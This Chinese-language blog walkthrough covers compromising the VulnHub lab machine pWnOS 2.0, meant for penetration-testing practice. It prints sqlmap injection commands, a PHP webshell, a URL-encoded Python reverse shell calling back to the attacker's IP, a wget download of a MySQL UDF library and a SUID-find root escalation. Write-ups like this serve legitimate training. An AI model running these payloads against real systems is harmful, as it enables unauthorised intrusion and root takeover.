pWnOS2.0靶场渗透练习&udf提权&推荐练习靶场&较经典的web渗透靶场&红队靶场

下载链接:

pWnOS: 2.0 (Pre-Release) ~ VulnHub

扫描不到ip?:

该靶场的默认ip是10.10.10.0段的,所以我们需要把靶场以及kali设置为NAT模式!并且修改网络配置为10.10.10.0

正文:

先用nmap扫描靶机ip

nmap -sn 10.10.10.0/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到pwnos文件夹下,命名为port方便后续查看

nmap -p- 10.10.10.100 -r -PN -oA pwnos/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到pwnos文件夹下,命名为server方便后续查看

nmap -p 22,80 10.10.10.100 -sC -sV -r -O --version-all -A -oA pwnos/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

访问80端口

点击右侧的login进行登录查看

尝试bp抓包将数据保存到sqlmap目录下的1.txt,并尝试使用sqlmap进行注入

python sqlmap.py -r 1.txt --dbs --batch --level 3

确实存在sql注入漏洞

python sqlmap.py -r 1.txt --batch --level 3 -D ch16 --tables

python sqlmap.py -r 1.txt --batch --level 3 -D ch16 -T users --columns --dump

对密码进行md5解密

得到账号密码

admin@isints.com:killerbeesareflying

尝试登录

wtf?好简陋。。。。看来用这个账号登录会提示这个,我们将该账号密码保存一下

继续尝试万能密码

admin' or '1' = '1' #

登录成功,没有东西,右键查看源代码,也没有东西

那我们进行目录扫描

dirsearch -u "10.10.10.100"

发现blog目录,进行访问

右键查看源代码我们可以发现该插件的名称以及版本

在kali中搜索相关漏洞,看有没有可以利用的脚本

searchsploit Simple PHP Blog 0.4.0

(searchsploit是一个非常实用的网络安全工具,它是Exploit-DB的一个命令行搜索工具。Exploit-DB是一个公开的漏洞数据库,包含了大量的漏洞利用程序)

我们尝试利用1191.pl脚本

将该脚本复制到当前目录

searchsploit Simple PHP Blog 0.4.0 -m 1191.pl

查看脚本内容来确定使用方法

我们发现了脚本用法以及参数作用

-h为ip地址 -e为利用方式并给出了不同序号的不同方式

我们选择序号3来创建一个新账号密码,账号和密码均为“xxx”

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U xxx -P xxx

利用成功

如果出现利用报错,那可能是perl的依赖没有安装

sudo apt install libswitch-perl

通过该指令来对依赖进行安装

我们对blog网站进行登录尝试

登录成功并发现上传文件位置

我们尝试上传木马

GIF89a

<?php

system($_GET['132']);

phpinfo();

?>

打开bp抓包,并对文件后缀进行修改

上传成功,但是并没有返回上传路径

我们再次对blog目录进一步扫描

dirsearch -u "10.10.10.100/blog"

通过筛查发现,该/blog/images目录下为上传的文件位置

发现文件上传位置,我们打开木马看看

发现木马中的phpinfo()解析成功,并且可以正常接受参数

获取shell

打开kali,并进行端口监听

nc -lvp 8080

把参数“id”替换为反弹shell

我这里使用的python的反弹shell,你们可以尝试其他的反弹shell,也可以在该网站中直接生成反弹shell(反弹shell生成器 (ywhack.com)

export RHOST="10.10.10.128";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

因为我们是在URL中输入,避免该段代码出现问题,要对该反弹shell进行URL编码

编码后:

%65%78%70%6f%72%74%20%52%48%4f%53%54%3d%22%31%30%2e%31%30%2e%31%30%2e%31%32%38%22%3b%65%78%70%6f%72%74%20%52%50%4f%52%54%3d%38%30%38%30%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%79%73%2c%73%6f%63%6b%65%74%2c%6f%73%2c%70%74%79%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%48%4f%53%54%22%29%2c%69%6e%74%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%50%4f%52%54%22%29%29%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%64%29%20%66%6f%72%20%66%64%20%69%6e%20%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%27

完整payload

10.10.10.100/blog/images/muma.php?132=%65%78%70%6f%72%74%20%52%48%4f%53%54%3d%22%31%30%2e%31%30%2e%31%30%2e%31%32%38%22%3b%65%78%70%6f%72%74%20%52%50%4f%52%54%3d%38%30%38%30%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%79%73%2c%73%6f%63%6b%65%74%2c%6f%73%2c%70%74%79%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%48%4f%53%54%22%29%2c%69%6e%74%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%50%4f%52%54%22%29%29%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%64%29%20%66%6f%72%20%66%64%20%69%6e%20%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%27

回车,反弹成功

查找具有 Setuid 权限的文件的命令

find / -perm -u=s -type f 2>/dev/null

查看计划任务

cat /etc/crontab

列出与定时任务相关的文件和目录

ls /etc/cron*

都没有什么有用的东西

提权1

那就进一步进行信息收集

查找mysql的用户文件

find / -name mysqli_connect.php 2>/dev/null

我们发现有两个文件

分别对两个文件进行查看

cat /var/mysqli_connect.php

cat /var/www/mysqli_connect.php

我们又获取到一个账号两个密码,同样保存起来

我们尝试看看能不能用这几个账号密码对ssh进行登录

ssh root@10.10.10.100

然后发现登陆成功而且还是root权限。。。。。。。。。密码是:root@ISIntS

总感觉违背了这个靶场的宗旨。。。

提权方法2--udf提权

我们尝试另一种方法

既然我们有了mysql的用户信息,我们尝试进行登录

mysql -u root -p

经过尝试,密码同样为root@ISIntS

查看mysql有没有写入权限

show global variables like '%secure%';

secure_file_priv的值为null ,表示限制mysql不允许导入或导出

当值为/tmp/时 ,表示限制mysql的导入或导出只能发生在/tmp目录下

当secure_file_priv的值没有具体值时,表示不对导入或导出做限制

那趁此机会,我们来学习一下mysql的udf提权

查看一下版本,并准备好对应的so文件

show variables like 'version_compile_%';

发现是64位的

我们再次查询下plugin文件夹位置,方便我们一下使用

show variables like "%plugin%";

我们需要准备对应的udf库,在kali中和sqlmap中自带,(可以查看该文章进行进一步了解linux环境下的MySQL UDF提权 - 知乎 (zhihu.com)

打开kali窗口,并切换到/usr/share/metasploit-framework/data/exploits/mysql目录下

cd /usr/share/metasploit-framework/data/exploits/mysql

so文件为linux系统所用的,dll文件为windows系统所用的

既然靶场为64位的,那我们就选择64位的so文件

在当前目录下打开http服务

python3 -m http.server 80

回到靶场shell并退出mysql

exit

切换到我们之前查询的plugin位置

cd /usr/lib/mysql/plugin

我们需要在该位置下载我们所需要的文件

wget http://10.10.10.128/lib_mysqludf_sys_64.so

再次进入mysql

mysql -u root -p
root@ISIntS

创建sys_eval函数

create function sys_eval returns string soname "lib_mysqludf_sys_64.so";

调用该函数

select sys_eval('whoami');

给find命令赋root的suid权限(同样也可以选择其他命令可以在该网站中查看可以用suid提权的命令GTFOBins

我这里选择的find命令

select sys_eval('chmod u+s /usr/bin/find');

退出mysql

切换到/tmp目录,因为一般情况下该目录权限较高

cd /tmp
find . -exec /bin/sh \;

提权成功

  • 18
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值